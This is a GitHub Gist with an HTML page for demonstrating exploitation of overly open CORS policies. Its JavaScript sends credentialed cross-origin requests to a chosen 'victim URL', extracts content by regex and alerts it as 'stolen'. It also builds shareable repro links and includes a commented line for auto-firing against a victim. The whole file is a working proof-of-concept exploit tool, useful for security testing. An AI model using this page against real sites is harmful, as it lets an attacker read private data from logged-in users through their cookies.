Created
November 11, 2022 17:20
-
-
Save coffeetocode/1b9711a42fc519a5d7ab47ad2ed2ddfb to your computer and use it in GitHub Desktop.
Basic HTML page for demoing exploitation of excessively open CORS policies
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html><head> | |
<meta http-equiv="content-type" content="text/html; charset=windows-1252"> | |
<title>CORS test</title> | |
</head> | |
<body> | |
<h2>CORS Demo</h2> | |
<script> | |
//Original script from http://www.html5rocks.com/en/tutorials/cors/ | |
// Create the XHR object. | |
function createCORSRequest(method, url, withCredentials) { | |
var xhr = new XMLHttpRequest(); | |
if ("withCredentials" in xhr) { | |
console.log("withCreds allowed"); | |
// XHR for Chrome/Firefox/Opera/Safari. | |
xhr.open(method, url, true); | |
xhr.withCredentials = withCredentials; //original example doesn't set this. It's necessary to get cookies sent. | |
} else if (typeof XDomainRequest != "undefined") { | |
// XDomainRequest for IE. | |
console.log("withcreds not allowed"); | |
xhr = new XDomainRequest(); | |
xhr.open(method, url); | |
} else { | |
// CORS not supported. | |
xhr = null; | |
} | |
return xhr; | |
} | |
// Helper method to parse the title tag from the response. | |
function getTitle(text) { | |
return text.match('<title>(.*)?</title>')[1]; | |
} | |
function extractContent(text) { | |
return text.match(document.getElementById('capture_regex').value)[1]; | |
} | |
// Make the actual CORS request. | |
function makeCorsRequest(url, withCredentials) { | |
// All HTML5 Rocks properties support CORS. | |
var xhr = createCORSRequest('GET', url, withCredentials); | |
if (!xhr) { | |
alert('CORS not supported'); | |
return; | |
} | |
// Response handlers. | |
xhr.onload = function() { | |
var text = xhr.responseText; | |
//var title = getTitle(text); | |
stolenContent = extractContent(text); | |
//Can just print title as PoC, or all text | |
//alert('Response from CORS request : ' + text); | |
alert('Content stolen via CORS request : ' + stolenContent); | |
}; | |
xhr.onerror = function(e) { | |
alert('Error making the request. See console for details.'); | |
}; | |
xhr.send(); | |
} | |
function createReproLink() { | |
link = document.getElementById('repro_link'); | |
victim_url = document.getElementById('victim_url').value; | |
capture_regex = document.getElementById('capture_regex').value; | |
with_credentials = document.getElementById('with_credentials').checked; | |
link.href = document.location.href.split("?")[0] + "?url=" + encodeURIComponent(victim_url) + "®ex=" + encodeURIComponent(capture_regex) + "&with_credentials=" + encodeURIComponent(with_credentials); | |
//TODO: Fix repro links for framed requests | |
link.text = "Repro link: " + link.href; | |
} | |
//makeCorsRequest('https://example.com/'); //Put victim URL here and uncomment to auto-fire | |
//makeCorsRequest('http://updates.html5rocks.com'); //Everything on html5rocks is available to CORS requests | |
</script> | |
<form> | |
Victim URL:<input value="https://www.html5rocks.com/en/tutorials/cors/" id="victim_url" type="text"><br> | |
Content to capture (regex with exactly one group):<input value="<title>(.*)?</title>" id="capture_regex" type="text"><br> | |
Send withCredentials?: <input type="checkbox" id="with_credentials" checked/><br> | |
<input onclick="makeCorsRequest(document.getElementById('victim_url').value, document.getElementById('with_credentials').checked);createReproLink()" value="Make Request" type="button"> | |
<br> | |
</form> | |
<a id="repro_link" href=""></a> | |
<script> | |
function getParameterByName(name, url) { | |
if (!url) { | |
url = window.location.href; | |
} | |
name = name.replace(/[\[\]]/g, "\\$&"); | |
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"), | |
results = regex.exec(url); | |
if (!results) return null; | |
if (!results[2]) return ''; | |
return decodeURIComponent(results[2].replace(/\+/g, " ")); | |
} | |
function populateFieldsFromParams() { | |
var url = getParameterByName('url'); | |
var regex = getParameterByName('regex'); | |
var with_credentials = getParameterByName('with_credentials'); | |
if(url) { | |
document.getElementById('victim_url').value = url | |
} | |
if(regex) { | |
document.getElementById('capture_regex').value = regex; | |
} | |
if(with_credentials != null) { | |
document.getElementById('with_credentials').checked = (with_credentials == "true"); | |
} | |
} | |
populateFieldsFromParams(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment